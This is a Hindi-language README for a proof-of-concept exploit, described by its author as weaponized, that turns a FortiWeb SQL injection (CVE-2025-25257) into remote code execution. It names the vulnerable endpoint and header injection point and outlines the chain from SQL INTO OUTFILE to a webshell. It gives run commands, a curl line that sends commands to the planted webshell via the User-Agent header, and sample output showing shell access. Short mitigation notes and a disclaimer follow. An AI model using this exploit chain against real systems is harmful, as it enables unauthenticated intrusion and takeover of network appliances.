🚨 CVE-2025-25257 – FortiWeb SQLi से RCE

महत्वपूर्ण SQL इंजेक्शन → वेबशेल निष्पादन

0xgh057r3c0n द्वारा खोजा और शस्त्रीकृत किया गया

🧠 कमज़ोरी अवलोकन

CVE-2025-25257 FortiWeb सिस्टम को प्रभावित करता है जो /api/fabric/device/status एंडपॉइंट को उजागर करता है, जो Authorization हेडर इनपुट को ठीक से सैनिटाइज़ करने में विफल रहता है।

एक हमलावर सर्वर पर वेबशेल लिखने और दूरस्थ रूप से कमांड निष्पादित करने के लिए बिना प्रमाणीकरण के SQL इंजेक्शन कर सकता है।

💥 हमला प्रवाह

SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 कमज़ोर एंडपॉइंट

GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 शोषण विशेषताएँ

• Bearer टोकन के माध्यम से SQLi
• शेल ड्रॉप करने के लिए SQL INTO OUTFILE
• Python हुक chmod को ट्रिगर करता है
• User-Agent के माध्यम से कमांड निष्पादित किए जाते हैं
• पूरी तरह से स्वचालित PoC

🧪 उपयोग

python3 CVE-2025-25257.py -t https://target-host.com

तब:

curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 आवश्यकताएँ

• Python 3.6+
• requests मॉड्यूल

इंस्टॉल करें:

pip install requests

📤 नमूना आउटपुट

[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 CVSS अनुमान

🛡️ शमन

• FortiWeb फर्मवेयर अपडेट करें (यदि पैच उपलब्ध हो)
• सभी हेडर इनपुट को सैनिटाइज़ करें
• फ़ाइल लिखने के पथ और CGI निष्पादन को प्रतिबंधित करें

👨‍💻 लेखक

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ अस्वीकरण

यह प्रमाण-अवधारणा केवल शैक्षिक और अधिकृत परीक्षण के लिए है। अपने जोखिम पर उपयोग करें। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।